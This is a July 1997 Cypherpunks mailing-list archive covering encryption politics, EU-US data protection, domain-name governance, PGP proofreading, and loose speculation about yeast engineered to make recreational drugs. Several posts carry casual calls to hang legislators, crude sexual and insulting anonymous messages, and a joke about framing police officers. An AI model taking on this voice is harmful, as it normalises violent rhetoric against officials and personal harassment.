Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From shamrock at netcom.com  Thu Jul 10 00:28:30 1997
From: shamrock at netcom.com (Lucky Green)
Date: Thu, 10 Jul 1997 15:28:30 +0800
Subject: Cypherpunks cap?
Message-ID: <3.0.2.32.19970710002139.006d932c@netcom10.netcom.com>



Does anybody know who might be willing to sell one of the old Cypherpunks
baseball caps? I need one for an outfit I am putting together.

Thanks,
--Lucky
--Lucky Green 
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/






From Theodor.SCHLICKMANN at bxl.dg13.cec.be  Thu Jul 10 01:57:15 1997
From: Theodor.SCHLICKMANN at bxl.dg13.cec.be (Theodor.SCHLICKMANN at bxl.dg13.cec.be)
Date: Thu, 10 Jul 1997 16:57:15 +0800
Subject: US and EU at odds on data protection
Message-ID: 



Internet: US and EU at odds on data protection
                   THURSDAY JULY 10 1997
                   By Neil Buckley
-- Begin 
Differences between US and European Union laws on personal data
protection have emerged as a potentially serious barrier to creation of a
global free market for commerce on the internet.
The European Commission yesterday urged the US to strengthen its laws
on data privacy to bring them into line with European equivalents, or risk
seeing curbs on exchange of information.
The latest hurdle to development of a worldwide internet marketplace
emerged at a meeting between Mr Ira Magaziner, senior adviser to
President Bill Clinton and architect of last week's US report on electronic
commerce, and Mr Hans Beseler, Commission director-general for trade
policy.
It came a day after differences emerged between EU ministers and the US
at a conference in Bonn over the unrestricted use of encryption technology
on the global computer network.
A recently adopted EU directive on data protection makes it illegal after
October 1998 for EU businesses to "export" personal data for commercial
purposes to countries which lack comparable privacy laws.
Such a ban could prevent the sale of customer information, or even
exchanges of marketing databases between subsidiaries of international
companies.
The clause has already been cited by financial services groups as a
potential barrier to trade.
Commission officials said they were concerned that consumers would
refuse to buy products or services on the internet if they were not confident
that personal data they provided would be secure, and that they would not
be bombarded by unsolicited marketing.
Brussels wants the US to introduce European-style privacy laws. "The
creation of a federal privacy body with powers to hear and investigate
complaints, and act as interlocutor for European data protection
authorities, would be a big step in the right direction," a Commission official
added.
But the US fears heavy-handed privacy rules could stifle trade, and prefers
industry self-regulation.
                  
Mr Magaziner suggested internet traders should develop a voluntary code
of conduct, with "seals of approval" for companies pledging to respect
privacy and security of personal information. "Industry and consumer
groups have the same incentive as we have to protect privacy, because
they won't do business unless people feel their privacy is protected," he
said. "Ultimately the power rests with consumers. They can buy or not buy,
go to one web site or not go."
Mr Magaziner suggested it would be a mistake for the EU to isolate itself
by applying the clause in its data protection directive next year.
� Copyright the Financial Times Limited 1997
"FT" and "Financial Times" are trademarks of The Financial Times Limited.
-- End
We are not amused
Theodor Schlickmann






From ravage at ssz.com  Thu Jul 10 06:18:30 1997
From: ravage at ssz.com (Jim Choate)
Date: Thu, 10 Jul 1997 21:18:30 +0800
Subject: Gene Engineered Drug Production
Message-ID: <199707101252.HAA08005@einstein.ssz.com>



Hi,

The topic of producing recreational pharmacuticals via gene engineered
organisms is an interesting topic and one we discussed at least briefly 3-4
years ago. Might be worth reviewing the archives.

There are some issues that I believe have kept this from being a commen
practice:

 *  Other than Marijuana and Cocaine most of the street pharmacuticals
    base chemicals take too much post-production to get them to a
    usable result. Either the process is something without an analog
    in the cellular systems or else it requires chemicals that don't
    occur in nature in great quantities and are such that you wouldn't
    want it produced inside the person taking the material.

 *  Marijuana's complete gene map has only been available for a little
    over 2 years.

 *  Educational and commercial institutions are not going to allow those
    with access either time or supplies to complete the project.

 *  The LEA's and drug cartels would hunt the original designer(s) down
    and most likely terminate with extreme prejudice. You would be taking
    money from their mouths (so to speak).

 *  Currently there is no country who has a legal structure such that they
    would be an acceptable haven.

 *  Where's the profit? The person who creates it most definitely will not
    get rich. Just imagine filing your patent app.

 *  E. coli or cooking yeast seem to be the best target. Both are fully
    mapped and acceptable to human systems.

 *  In the case of Marijuana the chemicals produced by the genes are
    further processed and THC gets produced at this stage. This means
    the entire 2-tier process must be moved over. Neither yeast or
    E. Coli have this process in place (both being animals that isn't
    a surprise). This complicates the process greatly.

 *  We are just waiting for some bright sole who believes that not only
    should "information be free" but so should drugs and is willing to
    spend 20 years or so on the run.

 *  Regulation of production is a big unsolved problem. Assume for a
    moment that you have ingested some yeast that is producing TCH.
    How do you turn the regulation up or down? How do you keep the
    production from running away? Most drugs LD50 is simply way too
    low for such ad hoc regulation, drugs like TCH and LSD have
    ingestion levels of such magnitude that LD50 becomes a side issue.
    LSD would have a self regulating effect so it would be mediated
    irrespective of the level produced. THC on the other hand if not
    regulated would keep you in a sleepy daze most of the time.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From markdan at nt1.azone.net  Thu Jul 10 23:54:22 1997
From: markdan at nt1.azone.net (markdan at nt1.azone.net)
Date: Thu, 10 Jul 1997 23:54:22 -0700 (PDT)
Subject: Major International Credit Card
Message-ID: <0000000000.AAA000@azone.net>


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From tcmay at got.net  Thu Jul 10 09:37:40 1997
From: tcmay at got.net (Tim May)
Date: Fri, 11 Jul 1997 00:37:40 +0800
Subject: The Recent Trend in "Collective Contracts"
Message-ID: 




I'm not a lawyer, but I am interested in the various ramifications--and the
constitutionality--of recent "sweeping contracts" between vendors,
lawmakers, consumers, etc.

Two recent example:

1. The "tobacco agreement." Supposedly a deal involving the transfer of
$360 billion from some number of tobacco companies in exchange for dropping
of liability suits, immunity from future claims, voluntary restrictions (!)
on advertising, etc. (And the "etc." is especially complicated in this huge
case.)

2. The "voluntary ratings" agreement being announced today by Al Gore and
some of the television networks. (Earlier "voluntary agreements" were
implemented, but, according to supporters of censorship, "failed." Hence
the new push for newer voluntary restrictions.)

The issue, it seems to me, is that ordinary concepts of illegality and
civil liability are being swept aside in favor of these huge "deals" to
reduce liability in exchange for various actions. Well, who is bound by
these deals?

If "Tim's Tobacco Company" starts up next year, after this deal is
"signed," is his company bound by this deal? If Tim the Smoker develops
lung cancer, is he blocked from suing?

(Caveat: My personal and libertarian view is that lawsuits against
cigarette companies are wrong and should not be supported in a free
society. And lawsuits by various states to "recover health care costs" are
especially bogus. By this logic, McDonald's could be sued by California
because California paid out more health care benefits to meat-eaters than
it did to vegetarians. Utterly bogus.)

Anyway, the free speech aspects of these deals are also worrisome. The
"voluntary restrictions" on advertising, for example. Would the
aforementioned "Tim's Tobacco Company," not a party to this Grand Deal, be
somehow bound by a deal wherein it could not sponsor sporting events? Or
advertise? Or even speak out against the deal?

Imagine the implications for cryptography, using the logic of these kinds
of deals:

"The voluntary agreement reached between the cryptography industry and
Washington calls for companies to voluntarily limit key sizes to 64 bits
unless a key recovery scheme is used. And Washington agrees to drop RICO
charges against PGP Inc. and RSA Data Security Inc. in return. Book
publishers, who became part of the negotiations last summer, have agreed to
limit the information published in books in exchange for relaxations on the
export requirements for computer media. "

Far fetched? Perhaps. But note the similarities to these other "collective
contracts."

And in many ways the Telephony Act, aka CALEA (Communications Act for Law
Enforcement Access), was just such a deal. When the various telecom
companies essentially said "we can live with this bill," they were tacitly
committing themselves to just such a collective contract. (What happens
when a new telecom company starts up and finds that it has been "bound" to
provide wiretap points into its switches?)

It seems to me that these contracts are going to collapse completely when
the Supreme Court points out that they bind nonparticipants to terms which
limit their constitutionally protected rights. (Quibblers can claim that
"corporations have no constitutional rights," but the publishing companies
which publish newspapers would take exception to this. And so on. There are
many cases where corporations are enjoying the fruits of the Constitution.
As it should be.)

These huge mega-deals are a crummy way to interpret the U.S. Constitution.
I fear the "Grand Compromise" deal that the telecom and crypto companies
are being drawn into.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From amp at pobox.com  Thu Jul 10 10:50:55 1997
From: amp at pobox.com (amp at pobox.com)
Date: Fri, 11 Jul 1997 01:50:55 +0800
Subject: Jim Bell reference
In-Reply-To: <199707091809.LAA02522@slack.lne.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----


> Kevin L Prigge writes:
> > 
> > Dorothy Denning taught a class (COSC 511) "Information Warfare"
> > Spring 97. Apparently as an assignment, several students put 
> > together an infowar incident database at:
> > 
> > http://www.georgetown.edu/users/samplem/iw/
> > 
> > Jim Bell's case is mentioned under:
> > 
> >
http://www.georgetown.edu/users/samplem/iw/html/iw_database_92.html
> 
> 
> Wow.  This is the most blatant propaganda I've seen in a long time.
> It's full of so much inaccurate info that it can't be an accident.
> 

Gee, suprise, suprise. D.Denning is behind anti-encryption (anti
liberty) propaganda.

If you search the net for writings or speeches by Denning, and any
government reports about encryption,, you will find that she is the
source of most anti-encryption propaganda in the u.s.. 

She's about the only person in the field that I'm aware of that can
always be counted on to support the most restrictive government policy
possible. I don't know her personally, so I can't say whether or not
she has just sold her soul to the powers that be to insure continued
federal grant money. Perhaps she actually believes that restrictive
government policy is appropriate. I guess if they had more people who
wouild be willing to stand up for the government's position, it
wouldn't be so obvious.

> Their blurb on Bell says:
> 
> "In his "Assassination Politics," Bell suggests that IRS
> agents are not protected against violent acts,
> because they have stolen taxpayers' money. He also
> initiates a betting pool as to what government
> employees and officeholders would be assassinated."
> 
> If I remember correctly, Bell never 'initiates'[sic] anything, he
> just talked about it.

Yup. I've seen Mr. Bell's writings since he was on fidonet. To my
knowledge, he's never even =attempted= to set up any AP markets. His
idea was an interesting thought experiment that he because quite
enamored with. I can see why, as it has some interesting social
implications. Also, to my knowledge, it was origional with him.

> They cites a Netly News article by Declan McCullagh
> (http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html)
> 
> Declan's article doesn't say, or even imply, that Bell actually
> set up his AP betting pool.  The "database" authors apparently
wanted
> to make a point by making his crime seem to be real, and were
willing
> to stretch the truth to do so.

Typical. They are attempting to establish an "official truth" they can
use to validate the government's position. The media is a willing
accomplice in this for reasons I don't understand, since =they= will
eventually be adversely affected by it all as well.

> Feh.  "Research" like this makes me puke.

Agreed. Unfortunately, it's all they have, and they have the means to
make people believe it is true.


- ------------------------
Name: amp
E-mail: amp at pobox.com
Date: 07/10/97
Time: 12:18:12
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
- ------------------------

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From alano at teleport.com  Thu Jul 10 11:03:20 1997
From: alano at teleport.com (Alan)
Date: Fri, 11 Jul 1997 02:03:20 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: 



On Wed, 9 Jul 1997, Steve Schear wrote:

> I know this is off-topic for the list...
> 
> But why hasn't some cleaver graduate student engineered a common mold or
> yeast to yield easily extracted (or directly ingestible) common
> recreational pharmaceuticals?  Ideally it would be a perpetual source, like
> sour dough starter, and easily cultured.  Once distributed to the street it
> would be impossible to stop or track (since no controlled chemicals would
> be required for production).

I had expected someone to cross blue-green algae with the part of canibus
that produces THC.  I would love to see something that would have the DEA
try to haul off people who have pond scum in their bird feeders and the
like.  (Anything that will make them look even more absurd...)

alano at teleport.com | "Those who are without history are doomed to retype it."






From alano at teleport.com  Thu Jul 10 11:26:59 1997
From: alano at teleport.com (Alan)
Date: Fri, 11 Jul 1997 02:26:59 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: 



On Wed, 9 Jul 1997, Tim May wrote:

> Then, when the narcs and BATFags searched his house and found the
> inevitable mold on the bread, the curdled milk, etc. (Jim is a bachelor,
> and a computer person, so the mold, etc. is inevitable) they could add this
> to the indictment.

Or he could hide it in cheese or other mold-bearing substances.  Would
make pizza and beer more fun...

> And "The Oregonian" could breathlessly headline: "Drug-Producing Molds
> Found in Home of Terror-Chemist."

When looking for sleezy headlines from the Oregano, look for the evening
edition.  They are the most sensationalist.  (My favorate is still "Guns a
part of fungus season.")

Here are a few possible headlines...

"Death cheese found in home of Munster-terrorist"
"Gudda tip brings in Cheesie Terrorist"
"Bell Threat to Portland Delis"

The permutations are endless...

alano at teleport.com | "Those who are without history are doomed to retype it."






From tcmay at got.net  Thu Jul 10 11:28:49 1997
From: tcmay at got.net (Tim May)
Date: Fri, 11 Jul 1997 02:28:49 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: 



At 10:06 AM -0700 7/10/97, Alan wrote:
>On Wed, 9 Jul 1997, Steve Schear wrote:
>
>> I know this is off-topic for the list...
>>
>> But why hasn't some cleaver graduate student engineered a common mold or
>> yeast to yield easily extracted (or directly ingestible) common
>> recreational pharmaceuticals?  Ideally it would be a perpetual source, like
>> sour dough starter, and easily cultured.  Once distributed to the street it
>> would be impossible to stop or track (since no controlled chemicals would
>> be required for production).
>
>I had expected someone to cross blue-green algae with the part of canibus
>that produces THC.  I would love to see something that would have the DEA
>try to haul off people who have pond scum in their bird feeders and the
>like.  (Anything that will make them look even more absurd...)

Speaking of which, I recall that the origins of LSD were from some kind of
fungus or "rust" found on some types of grain.

And there's that other type of fungus, the mushroom.

I expect Steve is right that someone will find a way to engineer a
drug-producing common mold or yeast. The profit motive, per se, will not be
much of an impediment, provided the costs of development are not huge. I
can think of many who would participate, were any reasonable directions
apparent.

BTW, this was a topic of conversation several years ago in the nanotech
discussion group I was in: home chemistry with instructions dowloaded from
the Net. Sort of a "Click here to download manufacturing instructions for
LSD."

(Downloaded into a tabletop production machine, of course.)

We are probably still several decades away from the mechanosynthesis form
of nanotech, presumably less far away from biological forms.

Such "dangerous knowledge" will join bombmaking instructions in being added
to Fineswine's law. Downloading of instructuctions for NC machine tools,
too, if the instructions are for zip guns and even real guns.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alano at teleport.com  Thu Jul 10 11:49:44 1997
From: alano at teleport.com (Alan)
Date: Fri, 11 Jul 1997 02:49:44 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: 



On Thu, 10 Jul 1997, Tim May wrote:

> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

It was developed from "ergot", a fungus that grows on rye.

> And there's that other type of fungus, the mushroom.
> 
> I expect Steve is right that someone will find a way to engineer a
> drug-producing common mold or yeast. The profit motive, per se, will not be
> much of an impediment, provided the costs of development are not huge. I
> can think of many who would participate, were any reasonable directions
> apparent.

Mushrooms are hard to grow unless you have a controlled environment.
(They tend to cross with other species of mushroom from what I have been
told.  A friend used to grow mushrooms commercially many years back.)

> BTW, this was a topic of conversation several years ago in the nanotech
> discussion group I was in: home chemistry with instructions dowloaded from
> the Net. Sort of a "Click here to download manufacturing instructions for
> LSD."
> 
> (Downloaded into a tabletop production machine, of course.)

The instructions for LSD production are already on the net, but not in a
nanotech format.  (HTML v66.6?)

Most of the instructions for LSD are bogus.  A friend sent me a huge
collection of bogus recipes from sci.chemistry from a few years back.
(They get losts of newbies who want to learn how to make LSD.)  My
favorite is the one that uses Foster's Lauger as a base.

> We are probably still several decades away from the mechanosynthesis form
> of nanotech, presumably less far away from biological forms.

I expect that we will see bioengeneered designer drugs within the next 10
years.  The methods for manufacture will not be widely distributed for a
much longer period...

> Such "dangerous knowledge" will join bombmaking instructions in being added
> to Fineswine's law. Downloading of instructuctions for NC machine tools,
> too, if the instructions are for zip guns and even real guns.

When she figures out that such information is available, she will add it
on.  And it will not stop there...  The forces of sanitized thinking will
not stop until anything that could be a threat to them is illegal and/or
abolished.

Sometimes I think the Chinese had the right idea by making it impossible
for their civil servants to reproduce.

alano at teleport.com | "Those who are without history are doomed to retype it."






From sunder at brainlink.com  Thu Jul 10 11:52:28 1997
From: sunder at brainlink.com (Ray Arachelian)
Date: Fri, 11 Jul 1997 02:52:28 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: 



On Thu, 10 Jul 1997, Tim May wrote:

> Speaking of which, I recall that the origins of LSD were from some kind of
> fungus or "rust" found on some types of grain.

Yep - and it takes the blame (or so historians believe) of the witch
hunts.  Idea was you'd go to someone's house, they'd cook food made with
the grains that were contaminated, you'd have an acid trip and claim them
to be in league with the devil and get them killed. :)
 
> I expect Steve is right that someone will find a way to engineer a
> drug-producing common mold or yeast. The profit motive, per se, will not be
> much of an impediment, provided the costs of development are not huge. I
> can think of many who would participate, were any reasonable directions
> apparent.

While we're on the topic, let's not forget that we'll need some sort of
crypto as well -- we should have the little buggers only produce the drug
on demand when given a signed PGP message. :)  That way if the feds knock
down your door, they'll find no evidence.  Whenver you need your hit, you
ask the buggers to make you some, and you use it immediatly.

OTOH, there's something to be said about having fast acting yeast that
feeds on grass and other foliage (real grass, not canabis) and produces
tons of illegal substance. You could then simply fling this into the back
yards of LEA's everywhere, then call the cops on them.

Anyone know enough about DNA machine code to port PGP to yeast? 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder at sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================






From dlv at bwalk.dm.com  Thu Jul 10 12:36:35 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:36:35 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: <5Dkm0D13w165w@bwalk.dm.com>



Tim May  writes:
> Then, when the narcs and BATFags searched his house and found the
> inevitable mold on the bread, the curdled milk, etc. (Jim is a bachelor,
> and a computer person, so the mold, etc. is inevitable) they could add this

I thought he lived with his parents?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Thu Jul 10 12:36:47 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:36:47 +0800
Subject: Is the Vulisbot triggered by my posts?
In-Reply-To: <199707100339.WAA00249@smoke.suba.com>
Message-ID: 



snow  writes:

> > Tim, I'm not having any "problems" with bwalk (the only computer with the
> > modem - others are in no way connected to the internet for security reasons
> > I've replaced OS/2 on it by Windows 95.  I'm going to add some more hardwar
> > before I add NT 4.0.
>
> 	I'd say that is a problem.

Bwalk seems to work fine. I still have OS/2 on one more box.
(The idea was that I wanted to have NT (I don't have it now), and
figured I'll use the box that's not good for anything anyway.)

This whole silly thread reminds me of a joke which I partially forgot.
Basically, a bunch of women are asked, suppose you're stranded on a little
uninhabited island, and you see a ship full of sex-starved men. (Or
something like this.) They all give different answers, and the blonde
says: "I understand the situation, but I fail to see a problem."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From declan at well.com  Thu Jul 10 12:37:00 1997
From: declan at well.com (Declan McCullagh)
Date: Fri, 11 Jul 1997 03:37:00 +0800
Subject: Domain names and "The Network $olution", from The Netly News
Message-ID: 





***********

http://pathfinder.com/netly/opinion/0,1042,1155,00.html

The Netly News Network (http://netlynews.com)
July 10, 1997

The Network $olution
by Declan McCullagh (declan at well.com)

        It could have been the perfect way to liberate the Net from the
   much-reviled monopoly of Network Solutions Inc., the company that
   handles almost all U.S. domain name registrations. Backed by
   well-regarded groups such as the Internet Society, the seven-page
   proposal promised to reduce prices, increase choices -- and best of
   all, really put the screws to everyone's least favorite domain name
   registrar.
   
        But a month before the curtain is set to lift on a host of new
   domains to supplement .com and .org, the ambitious plan suddenly seems
   as doomed as the recently extirpated Communications Decency Act. Not
   only did just one government, Albania, sign the "Memorandum of
   Understanding" (MoU), but the U.S. actively opposed it. So did Network
   Solutions, after they realized with gut-wrenching dismay the
   consequences of losing their lucrative monopoly on .com.
   
        Yesterday another group of MoU critics met in Washington to form
   the Open Internet Congress, which hopes to wrest control of Net
   governance from "hobbyists" and "volunteers" and haul it into the
   mainstream. "I don't want a bunch of volunteers playing around and
   trying to run the show. I don't want petty battles over who's in
   charge and who's keeping the lights on," says Andrew Sernovitz, the
   president of the Association for Interactive Media, which organized
   the summit. Sernovitz envisions a ruthlessly commercialized cyberspace
   that's safe for companies like IBM, Intel, NBC and Time Warner
   (Netly's corporate big brother) that cough up $9,000 a year to be
   governing members of AIM.
   
        The talk yesterday was of revolution. Sernovitz spoke about
   holding an Internet "Constitutional Convention" this fall. He passed
   out supportive columns quoting from "Common Sense" by Thomas Paine. I
   even heard folks call the MoU the move that will spark the online
   equivalent of the Boston Tea Party. (Led, presumably, by firms like
   Time Warner? Since that media giant also owns CNN, you can be sure the
   revolution will indeed be televised.)

[...]








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From: submit at futuregate.com (FutureGate Web Services)
Date: Fri, 11 Jul 1997 03:38:05 -0700 (PDT)
Subject: Submit Your Web-Site to 200+ engines/indexes
Message-ID: <199707111037.DAA18630@toad.com>


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From dlv at bwalk.dm.com  Thu Jul 10 12:44:34 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:44:34 +0800
Subject: Recreational pharmaceuticals by genetic engineering
In-Reply-To: 
Message-ID: <854L0D12w165w@bwalk.dm.com>



Steve Schear  writes:

>
> I know this is off-topic for the list...

it's somewhat on-topic.

> But why hasn't some cleaver graduate student engineered a common mold or
> yeast to yield easily extracted (or directly ingestible) common
> recreational pharmaceuticals?  Ideally it would be a perpetual source, like
> sour dough starter, and easily cultured.  Once distributed to the street it
> would be impossible to stop or track (since no controlled chemicals would
> be required for production).

My understanding is that access to the eq needed for such hacking (or for
creating various harmful little bugs) is already very tightly watched.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From mixmaster at remail.obscura.com  Thu Jul 10 12:45:01 1997
From: mixmaster at remail.obscura.com (Mix)
Date: Fri, 11 Jul 1997 03:45:01 +0800
Subject: No Subject
Message-ID: <199707100510.WAA13559@sirius.infonex.com>



Timothy Mayhem's father, an idiot, stumbled across Timothy Mayhem's mother, an 
imbecile, when she had no clothes on. Nine months later she had a little moron.

   ----
  '@  *> Timothy Mayhem
  |\   7
 / `-- _






From mark at unicorn.com  Thu Jul 10 12:47:51 1997
From: mark at unicorn.com (Mark Grant)
Date: Fri, 11 Jul 1997 03:47:51 +0800
Subject: More PGP volunteers needed
Message-ID: 




Lucky Green wrote:

> It would speed things up if more non-US citizens living outside the US
> willing to proofread source were to contact Stale Schumacher at
>  to volunteer some time. You can wait for the source
> to show up on your favorite ftp site, or you can make it happen. Your 
> choice.

Well, when I mailed Stale about it a week or two ago he said he already
had over seventy volunteers. The problem may just be latency; my hundred
pages took about twelve hours of mind-numbing work to correct (mostly
spent getting the right number and combination of spaces and tabs in
strings), so while I was able to do it in two days I could certainly
understand some people taking a week or more to finish theirs. Plus, of
course, the inevitable delays from sending the pages out by snail-mail. 

        Mark






From dlv at bwalk.dm.com  Thu Jul 10 12:48:39 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 11 Jul 1997 03:48:39 +0800
Subject: A really  meaningfull upgrade
In-Reply-To: <3.0.32.19691231190000.006a08e4@pop.netaddress.com>
Message-ID: 



Casey Iverson  writes:

> At 12:49 PM 7/9/97 EDT, THE RUSSIAN  SCUM BAG, DISSEASED RIDDEN ASS HOLE
> VULIS
>  gives us an an example of his KGB inspired humor:
>
> >Have you tried complaining to the European Envelope manufacturers
> >association in Switzerland???
>
> C.I.
>

That's what Black Unicorn's signature recommends.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From nobody at REPLAY.COM  Thu Jul 10 12:48:53 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 11 Jul 1997 03:48:53 +0800
Subject: Cast of Characters for Crypto Politics (Judiciary Hearing)
Message-ID: <199707101015.MAA25193@basement.replay.com>



Tim May wrote:
> At 8:06 PM -0700 7/9/97, Declan McCullagh wrote:
> >Here's a cast of characters from today's hearing...
> 
> Except maybe for Ashcroft--and it may be too soon to tell about him--the
> rest have just shown their expected colors. I say we just hang them all and
> be done with it.

  Legislators should be made to vote with their dicks hanging out.
Any legislator with fresh lipstick on his dick gets his vote thrown
out. It may not be a perfect system, but I wouldn't bet against it
being better than what we have now.

> Many of us warned long ago that Leahy was no friend of liberty, despite his
> soothing comments at the SAFE forum last summer. His support of other
> statist policies makes him just another fool on the Hill.

  The "classified briefing" by LEA smells like a classic example of
"Of course, if you vote against this bill then we will be forced to
expose you as a champion of pedophiles and drug czars."
 
> A law to ban domestic use of strong crypto is coming. All it will take is
> some horrific incident--another bombing in a building, another Dahmer case,
> etc., where crypto is involved in any way. This will be the catalyst for
> the outlawing of unapproved crypto.

  So you're sitting there at the police computer, checking out Dahmer's
floppies, which contain only letters to his mother, and you realize that
if they are encrypted, then they are proof that he has something
sinister
to hide. Hmmm...
  Or you realize that the Judge will imprison Tim May for contempt of
court until he provides his secret key, and you realize that if it is
encrypted with a key Tim doesn't have, that the Judge will have to
decide whether to believe the outrageous accusations of Tim May, Jim 
Bell's best friend (according to a reliable informant), against a
champion of law enforcement.

> ...
> >SEN. JOHN KYL (R): Criticized Kerrey for being too
> >moderate. "My own view is that the legislation does
> >not go far enough," Sen. Kyl said of the McCain-Kerrey
> ...
> 
> The competition to outdo the others is beginning, signalling the usual
> stampede toward the passage of a bill.

  There are times that I wish Tim was a little less perceptive. It would
give me a little room for self-deception when I need to take a break
from
reality and try to tell myself that there is some slim ray of hope for
freedom and liberty to prevail.
  Why is it that the "stampede" always seems to manage to head in the
direction needed to trample the constitution underfoot (like tornados
sniffing out trailer parks)?

SEN. JOHN ASHCROFT (R): Emerged as a staunch
crypto-defender. 

  I originally thought that perhaps he was taking this stance as a
matter of principle, but then I heard that he had purple lipstick
on his dick.
  Does anyone know what color Blanc wears?
  (Just curious. I certainly wouldn't want to start any unfounded
rumors. However, for the record, I would like to assure Blanc that
if the bill happened to be defeated by a substantial margin, I
wouldn't think any less of her.)

  I think I need to go spank myself.

TruthMonger






From nobody at REPLAY.COM  Thu Jul 10 12:49:32 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 11 Jul 1997 03:49:32 +0800
Subject: TRUTHMONGER UNMASKED!!!
Message-ID: <199707101015.MAA25325@basement.replay.com>



Jim Choate, realizing that he finally had solid evidence as to
the true identity of the coward hiding behind the TruthMonger
persona, forwarded to the list:

>             OPEN MICROPHONE CATCHES CHRETIEN'S CRITICISM OF CLINTON
>      From Senior White House Correspondent Wolf Blitzer
> 
>      Apparently unaware the microphone in front of him was on, Chretien
>      bragged that his country does not let the United States dictate its
>      policy, and suggested American politicians make decisions solely for
>      reasons of expediency.
> 
>      "In your country, in my country, all the politicians would be in
>      prison because they sell their votes," Chretien said.

  Spoken like a TruthMonger!
  I always had my suspicions that the main person using the TruthMonger
multi-user persona on the CypherPunks list was acting out of some kind
of obsessive, guilt-driven psychosis as a form of repentance for great
evils being commited under his true identity.

  Chretien, as Prime Minister of Canada, has to live with the knowledge
that in order for his country to survive he needs to kowtow to a gang
of criminals in a neighboring country who have the firepower to smoke
the Canadians' butts in a heartbeat.
  The TruthMonger posts are more sporadic when Chretien is involved in
international conferences, and it is now obvious that the pressure of
living a lie builds up and spills out at these times when he cannot
relieve himself of his guilt using his TruthMonger posts.

  I suspect that Belgian Prime Minister Jean-Luc Dehaene is Rabid Wombat
and Luxembourg's Prime Minister Jean-Claude Juncker is masquerading on
the list as Dr. Dimitri Vulis, KOTM.
  The CypherPunks list is the one place where they can let their hair
down and tell Big Brother Bill and the whole goddamn world what they
really think.

>      He also said Clinton was in favor of inviting Poland, Hungary and
>      the Czech Republic to join NATO because it would woo voters.
> 
>      Speaking in French, the Canadian prime minister said: "It's not
>      reasons of state. It's all done for short-term political reasons, to
>      win elections. Take the quarrel over whether to admit the Baltic
>      states. That has noting to do with world security. It's because in
>      Chicago, Mayor (Richard M.) Daley controls lots of votes for the
>      nomination."

  Or, as Chretian would have put it, as TruthMonger, "Big Brother Bill
is a lying, Nazi, sack of shit whose main concern in regard to world
security is his ability to use it to suck Daley's big vote-cock."
 
>      The three leaders laughed as they waited for the Clinton and his
>      advisers to arrive for the meeting.

  True CypherPunks, they are laughing their asses off that "we the
sheeple" let these charlatans and criminals rob and oppress us under
the guise of democracy.
 
> He (Chretien), he's used to not doing
>      what they want," Juncker said.
> 
>      "I make it my policy," Chretien said. "But it's popular. The Cuba
>      affair. I was the first to stand up" against it U.S. policy
>      tightening the economic embargo on Cuba.

  Unfortunately, he didn't have the political balls to testify for the
defense in the Timothy McVeigh trial, so he had to express his support
for McVeigh as TruthMonger.

